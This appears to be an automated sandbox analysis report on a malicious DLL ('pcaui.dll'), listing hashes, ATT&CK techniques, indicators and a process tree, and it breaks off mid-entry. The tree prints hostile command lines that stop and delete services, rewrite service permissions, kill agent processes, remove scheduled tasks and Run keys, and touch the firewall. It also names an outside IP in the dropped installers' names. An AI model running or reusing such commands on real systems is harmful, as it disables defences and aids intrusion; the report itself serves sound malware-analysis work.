9d1f17fa9d12198165a507f4d4bee2b730318492b8f756354b5b1be7bb444b76

Analysis

max time kernel
130s
max time network
125s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 22:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
pcaui.dll
Size 90KB
Sample261027-2aecsagt7x
SHA256 9d1f17fa9d12198165a507f4d4bee2b730318492b8f756354b5b1be7bb444b76
MD5 cab4f0ed6254cd599982f1527ec17ce0
SHA1 f8fd2d55f7a9f824057e53f0cbfa9f9d97a21473
SHA512 c3a1a0ce514dc2a5b0415d752af74b2fb4801dfefb1c4e7eb5ca76f9c0bee6c74d5f6c21fa2895b1396189010c1fd83c8042b0a0297a22cb2002ab0818966d80
SSDEEP 1536:ciFzZzOVd0SvikP3vAWnqAW/4mwQ4w8ddM21spOF0/yWPBwbvmUZ:ciFzZgqSvaWNW/4LQ4w8dG26UF0qWPOr
TLSH
T1A4938D26779411F8DC23D1B4CCD7A63BEB72749535B08B0F1751899A2F23312BE39A46
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution installer persistence privilege_escalation ransomware

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
4	4604	rundll32.exe
7	4604	rundll32.exe
8	4604	rundll32.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4140	icacls.exe
2540	icacls.exe
4836	icacls.exe
2992	icacls.exe
4176	icacls.exe
4856	icacls.exe
4828	icacls.exe
2336	icacls.exe
3312	icacls.exe
4180	icacls.exe
4736	icacls.exe
5172	icacls.exe
5520	icacls.exe
5060	icacls.exe
3500	icacls.exe
2288	icacls.exe
4772	icacls.exe
1468	icacls.exe
2624	icacls.exe
4152	icacls.exe
4504	icacls.exe
4524	icacls.exe
5852	icacls.exe
3948	icacls.exe
5392	icacls.exe
5140	icacls.exe
3024	icacls.exe
248	icacls.exe
3916	icacls.exe
692	icacls.exe
4576	icacls.exe
3636	icacls.exe
4220	icacls.exe
5672	icacls.exe
4536	icacls.exe
5168	icacls.exe
3664	icacls.exe
1816	icacls.exe
4996	icacls.exe
3944	icacls.exe
5588	icacls.exe
2916	icacls.exe
2788	icacls.exe
3604	icacls.exe
5308	icacls.exe
2288	icacls.exe
1432	icacls.exe
4296	icacls.exe
912	icacls.exe
244	icacls.exe
5864	icacls.exe
976	icacls.exe
4240	icacls.exe
2100	icacls.exe
3440	icacls.exe
4220	icacls.exe
2488	icacls.exe
4612	icacls.exe
6112	icacls.exe
2548	icacls.exe
4268	icacls.exe
3664	icacls.exe
1464	icacls.exe
2188	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Indicator Removal: Clear Persistence 1 TTPs 6 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5848	cmd.exe
4368	cmd.exe
5564	cmd.exe
6120	cmd.exe
2396	cmd.exe
4552	cmd.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
5032	netsh.exe
1556	netsh.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4844	cmd.exe
5060	cmd.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Executes dropped EXE 15 IoCs

pid	Process
936	Client_silent_134.122.189.138_5088.exe
264	Client_srv_134.122.189.138.exe
4160	Client_srv_134.122.189.138.tmp
3312	safety.exe
1944	safety.exe
5220	safety.exe
2932	safety.exe
2888	safety.exe
4520	safety.exe
1556	safety.exe
5448	Process not Found
5844	Process not Found
1264	Process not Found
1212	Process not Found
4528	Process not Found

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5724	sc.exe
5484	sc.exe
5984	sc.exe
4208	Process not Found
5356	Process not Found
2188	Process not Found
2928	Process not Found
2112	sc.exe
2096	sc.exe
4536	sc.exe
1684	Process not Found
5420	Process not Found
4732	Process not Found
4984	Process not Found
5188	Process not Found
6080	sc.exe
4204	sc.exe
4432	Process not Found
1452	Process not Found
1484	Process not Found
2836	sc.exe
5560	sc.exe
4436	sc.exe
1504	Process not Found
5532	Process not Found
4632	Process not Found
5392	Process not Found
3224	Process not Found
3020	sc.exe
3520	sc.exe
3780	sc.exe
5484	sc.exe
1604	Process not Found
2540	Process not Found
4276	Process not Found
5504	Process not Found
5776	sc.exe
4280	sc.exe
4620	sc.exe
3236	Process not Found
3208	Process not Found
2860	Process not Found
3420	Process not Found
6140	sc.exe
3092	sc.exe
6084	sc.exe
4900	Process not Found
1764	Process not Found
4124	Process not Found
4888	Process not Found
6040	Process not Found
5628	sc.exe
1900	sc.exe
2100	Process not Found
1472	Process not Found
3620	sc.exe
5468	sc.exe
1652	sc.exe
2684	sc.exe
5300	sc.exe
1548	Process not Found
868	Process not Found
2600	Process not Found
2360	sc.exe

Loads dropped DLL 64 IoCs

pid	Process
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
3312	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
1944	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
2932	safety.exe
5220	safety.exe
2932	safety.exe
2932	safety.exe
5220	safety.exe
2932	safety.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5540	cmd.exe
3100	cmd.exe
1480	cmd.exe
2592	cmd.exe
2712	cmd.exe
5124	cmd.exe
4100	cmd.exe
4484	cmd.exe
3508	cmd.exe
4800	cmd.exe
2076	cmd.exe
3156	cmd.exe
5432	cmd.exe
2492	cmd.exe
4272	cmd.exe
3144	cmd.exe
872	cmd.exe
2324	cmd.exe
2940	cmd.exe
240	cmd.exe
1956	cmd.exe
5912	cmd.exe
5212	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	rundll32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	safety.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	safety.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_srv_134.122.189.138.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Client_srv_134.122.189.138.tmp

Inno Setup is an open-source installation builder for Windows applications. 3 IoCs

Inno Setup installer

installer

resource	yara_rule
behavioral2/memory/264-83-0x0000000000400000-0x00000000004C4000-memory.dmp	innosetup
behavioral2/memory/264-605-0x0000000000400000-0x00000000004C4000-memory.dmp	innosetup
behavioral2/memory/264-2764-0x0000000000400000-0x00000000004C4000-memory.dmp	innosetup

Kills process with taskkill 9 IoCs

defense_evasion

pid	Process
1052	taskkill.exe
3200	taskkill.exe
5796	taskkill.exe
5388	taskkill.exe
2804	taskkill.exe
912	taskkill.exe
4424	taskkill.exe
1216	taskkill.exe
1816	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5220	safety.exe
5220	safety.exe
2932	safety.exe
2932	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
2932	safety.exe
2932	safety.exe
2932	safety.exe
2932	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
2888	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
4520	safety.exe
5220	safety.exe
5220	safety.exe
5220	safety.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	936	Client_silent_134.122.189.138_5088.exe
Token: SeDebugPrivilege	1052	taskkill.exe
Token: SeDebugPrivilege	912	taskkill.exe
Token: SeDebugPrivilege	4424	taskkill.exe
Token: SeDebugPrivilege	3200	taskkill.exe
Token: SeDebugPrivilege	5796	taskkill.exe
Token: SeDebugPrivilege	5388	taskkill.exe
Token: SeDebugPrivilege	2804	taskkill.exe
Token: SeDebugPrivilege	1216	taskkill.exe
Token: SeDebugPrivilege	1816	taskkill.exe
Token: SeDebugPrivilege	3312	safety.exe
Token: SeDebugPrivilege	1944	safety.exe
Token: SeDebugPrivilege	5220	safety.exe
Token: SeDebugPrivilege	2932	safety.exe
Token: SeDebugPrivilege	2888	safety.exe
Token: SeDebugPrivilege	4520	safety.exe
Token: SeDebugPrivilege	1556	safety.exe
Token: SeDebugPrivilege	5448	Process not Found
Token: SeDebugPrivilege	5844	Process not Found
Token: SeDebugPrivilege	1264	Process not Found
Token: SeDebugPrivilege	1212	Process not Found
Token: SeDebugPrivilege	4528	Process not Found

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4160	Client_srv_134.122.189.138.tmp

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4604 wrote to memory of 4316	4604	rundll32.exe	88
PID 4604 wrote to memory of 936	4604	rundll32.exe	90
PID 936 wrote to memory of 264	936	Client_silent_134.122.189.138_5088.exe	91
PID 264 wrote to memory of 4160	264	Client_srv_134.122.189.138.exe	92
PID 4160 wrote to memory of 2076	4160	Client_srv_134.122.189.138.tmp	93
PID 2076 wrote to memory of 3800	2076	cmd.exe	401
PID 4160 wrote to memory of 4272	4160	Client_srv_134.122.189.138.tmp	96
PID 4272 wrote to memory of 5924	4272	cmd.exe	98
PID 4160 wrote to memory of 3156	4160	Client_srv_134.122.189.138.tmp	99
PID 3156 wrote to memory of 5776	3156	cmd.exe	229
PID 4160 wrote to memory of 5432	4160	Client_srv_134.122.189.138.tmp	102
PID 5432 wrote to memory of 1052	5432	cmd.exe	104
PID 4160 wrote to memory of 3620	4160	Client_srv_134.122.189.138.tmp	1082
PID 4160 wrote to memory of 2592	4160	Client_srv_134.122.189.138.tmp	108
PID 2592 wrote to memory of 912	2592	cmd.exe	1101
PID 4160 wrote to memory of 2712	4160	Client_srv_134.122.189.138.tmp	111
PID 2712 wrote to memory of 4424	2712	cmd.exe	759
PID 4160 wrote to memory of 1956	4160	Client_srv_134.122.189.138.tmp	114
PID 1956 wrote to memory of 3200	1956	cmd.exe	116
PID 4160 wrote to memory of 3144	4160	Client_srv_134.122.189.138.tmp	117
PID 3144 wrote to memory of 5796	3144	cmd.exe	119
PID 4160 wrote to memory of 872	4160	Client_srv_134.122.189.138.tmp	120
PID 872 wrote to memory of 5388	872	cmd.exe	122
PID 4160 wrote to memory of 2324	4160	Client_srv_134.122.189.138.tmp	123
PID 2324 wrote to memory of 2804	2324	cmd.exe	674
PID 4160 wrote to memory of 5124	4160	Client_srv_134.122.189.138.tmp	126
PID 5124 wrote to memory of 1216	5124	cmd.exe	1139
PID 4160 wrote to memory of 4100	4160	Client_srv_134.122.189.138.tmp	129
PID 4100 wrote to memory of 1816	4100	cmd.exe	779
PID 4160 wrote to memory of 2396	4160	Client_srv_134.122.189.138.tmp	132
PID 2396 wrote to memory of 4788	2396	cmd.exe	776
PID 4160 wrote to memory of 4552	4160	Client_srv_134.122.189.138.tmp	135
PID 4552 wrote to memory of 6040	4552	cmd.exe	519
PID 4160 wrote to memory of 5848	4160	Client_srv_134.122.189.138.tmp	138
PID 5848 wrote to memory of 1000	5848	cmd.exe	140
PID 4160 wrote to memory of 4368	4160	Client_srv_134.122.189.138.tmp	141
PID 4368 wrote to memory of 4388	4368	cmd.exe	983
PID 4160 wrote to memory of 5564	4160	Client_srv_134.122.189.138.tmp	144
PID 5564 wrote to memory of 2616	5564	cmd.exe	827
PID 4160 wrote to memory of 6120	4160	Client_srv_134.122.189.138.tmp	147
PID 6120 wrote to memory of 1656	6120	cmd.exe	1164
PID 4160 wrote to memory of 5912	4160	Client_srv_134.122.189.138.tmp	150
PID 5912 wrote to memory of 4624	5912	cmd.exe	1206
PID 4160 wrote to memory of 4484	4160	Client_srv_134.122.189.138.tmp	153
PID 4484 wrote to memory of 1464	4484	cmd.exe	1073
PID 4160 wrote to memory of 2940	4160	Client_srv_134.122.189.138.tmp	156
PID 2940 wrote to memory of 2372	2940	cmd.exe	1025
PID 4160 wrote to memory of 5212	4160	Client_srv_134.122.189.138.tmp	159
PID 5212 wrote to memory of 5040	5212	cmd.exe	458
PID 4160 wrote to memory of 3508	4160	Client_srv_134.122.189.138.tmp	162
PID 3508 wrote to memory of 2888	3508	cmd.exe	392
PID 4160 wrote to memory of 4800	4160	Client_srv_134.122.189.138.tmp	165
PID 4800 wrote to memory of 4664	4800	cmd.exe	884
PID 4160 wrote to memory of 3312	4160	Client_srv_134.122.189.138.tmp	839
PID 4160 wrote to memory of 5540	4160	Client_srv_134.122.189.138.tmp	170
PID 5540 wrote to memory of 5032	5540	cmd.exe	743
PID 4160 wrote to memory of 3100	4160	Client_srv_134.122.189.138.tmp	173
PID 3100 wrote to memory of 1556	3100	cmd.exe	957
PID 4160 wrote to memory of 1944	4160	Client_srv_134.122.189.138.tmp	176
PID 1944 wrote to memory of 4820	1944	safety.exe	1181
PID 1944 wrote to memory of 6080	1944	safety.exe	921
PID 1944 wrote to memory of 2836	1944	safety.exe	389
PID 1944 wrote to memory of 468	1944	safety.exe	390
PID 1944 wrote to memory of 5420	1944	safety.exe	1080

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

Views/modifies file attributes 1 TTPs 64 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4180	attrib.exe
3976	attrib.exe
3220	attrib.exe
2684	attrib.exe
4820	attrib.exe
4952	attrib.exe
4140	Process not Found
5680	attrib.exe
1764	attrib.exe
1216	attrib.exe
4400	attrib.exe
1168	attrib.exe
2724	Process not Found
1804	Process not Found
4240	Process not Found
1632	attrib.exe
1512	attrib.exe
2892	Process not Found
5972	Process not Found
2956	Process not Found
4288	attrib.exe
2840	Process not Found
4856	attrib.exe
4612	attrib.exe
1240	attrib.exe
3816	attrib.exe
2788	Process not Found
3636	Process not Found
3244	attrib.exe
5856	Process not Found
5064	attrib.exe
2312	attrib.exe
2096	attrib.exe
2388	attrib.exe
1708	attrib.exe
2916	attrib.exe
2680	attrib.exe
3780	attrib.exe
3396	attrib.exe
5464	attrib.exe
2424	attrib.exe
2980	attrib.exe
5984	attrib.exe
1156	Process not Found
5160	Process not Found
5168	Process not Found
1452	attrib.exe
1124	attrib.exe
3620	attrib.exe
3184	Process not Found
4624	Process not Found
6112	Process not Found
4744	attrib.exe
4176	attrib.exe
2264	attrib.exe
3916	attrib.exe
1280	Process not Found
4884	attrib.exe
1656	attrib.exe
5396	attrib.exe
3208	Process not Found
1264	Process not Found
3732	attrib.exe
4968	attrib.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\pcaui.dll,#1
1⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\system32\rundll32.exe
  "C:\Windows\system32\rundll32.exe" -a C:\Windows\System32\notepad.exe
  2⤵
  PID:4316
- C:\Users\Admin\AppData\Local\Microsoft\WU\pkg\Client_silent_134.122.189.138_5088.exe
  "C:\Users\Admin\AppData\Local\Microsoft\WU\pkg\Client_silent_134.122.189.138_5088.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:936
- - C:\Users\Admin\AppData\Local\Temp\dcy_silent_3c6fed06\Client_srv_134.122.189.138.exe
    "C:\Users\Admin\AppData\Local\Temp\dcy_silent_3c6fed06\Client_srv_134.122.189.138.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /FORCECLOSEAPPLICATIONS
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:264
  - - C:\Users\Admin\AppData\Local\Temp\is-JS441.tmp\Client_srv_134.122.189.138.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-JS441.tmp\Client_srv_134.122.189.138.tmp" /SL5="$70176,97419156,745984,C:\Users\Admin\AppData\Local\Temp\dcy_silent_3c6fed06\Client_srv_134.122.189.138.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /FORCECLOSEAPPLICATIONS
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:4160
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c sc sdset "safety" "D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2076
      - C:\Windows\System32\sc.exe
        
        sc sdset "safety" "D:P(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLORC;;;AU)(A;;CCLCSWLORC;;;BU)"
        6⤵
        
        PID:3800
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c sc stop "safety" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4272
      - C:\Windows\System32\sc.exe
        
        sc stop "safety"
        6⤵
        
        PID:5924
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c sc delete "safety" >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3156
      - C:\Windows\System32\sc.exe
        
        sc delete "safety"
        6⤵
        Launches sc.exe
        
        PID:5776
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "safety.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5432
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "safety.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1052
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" query "safety"
        5⤵
        Launches sc.exe
        
        PID:3620
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "safety.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2592
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "safety.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:912
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "safety-ui.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2712
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "safety-ui.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4424
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "DongchaYan.Agent.Service.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1956
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "DongchaYan.Agent.Service.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3200
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "DongchaYan.Agent.Tray.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3144
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "DongchaYan.Agent.Tray.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5796
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "DongchaYan.Agent.Watchdog.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:872
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "DongchaYan.Agent.Watchdog.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5388
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "MIT.Agent.Service.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2324
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "MIT.Agent.Service.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2804
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "MIT.Agent.Tray.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5124
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "MIT.Agent.Tray.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1216
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c taskkill /IM "MIT.Agent.Watchdog.exe" /T /F >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4100
      - C:\Windows\System32\taskkill.exe
        
        taskkill /IM "MIT.Agent.Watchdog.exe" /T /F
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "Service" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:2396
      - C:\Windows\System32\schtasks.exe
        
        schtasks /Delete /TN "Service" /F
        6⤵
        
        PID:4788
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "ClientPackage_AutoStart" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:4552
      - C:\Windows\System32\schtasks.exe
        
        schtasks /Delete /TN "ClientPackage_AutoStart" /F
        6⤵
        
        PID:6040
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "MIT Agent Service" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:5848
      - C:\Windows\System32\schtasks.exe
        
        schtasks /Delete /TN "MIT Agent Service" /F
        6⤵
        
        PID:1000
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "MIT Agent Watchdog" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:4368
      - C:\Windows\System32\schtasks.exe
        
        schtasks /Delete /TN "MIT Agent Watchdog" /F
        6⤵
        
        PID:4388
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "DongchaYan Agent Service" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:5564
      - C:\Windows\System32\schtasks.exe
        
        schtasks /Delete /TN "DongchaYan Agent Service" /F
        6⤵
        
        PID:2616
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c schtasks /Delete /TN "DongchaYan Agent Watchdog" /F >nul 2>nul
        5⤵
        Indicator Removal: Clear Persistence
        Suspicious use of WriteProcessMemory
        
        PID:6120
      - C:\Windows\System32\schtasks.exe
        
        schtasks /Delete /TN "DongchaYan Agent Watchdog" /F
        6⤵
        
        PID:1656
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5912
      - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety" /f
        6⤵
        
        PID:4624
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety-ui" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4484
      - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "safety-ui" /f
        6⤵
        
        PID:1464
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Watchdog" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2940
      - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Watchdog" /f
        6⤵
        
        PID:2372
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Service" /f >nul 2>nul
        5⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5212
      - C:\Windows\System32\reg.exe
        
        reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MIT Agent Service" /f
        6⤵
        
        PID:5040
    - - C:\Windows\system32\cmd.exe
        
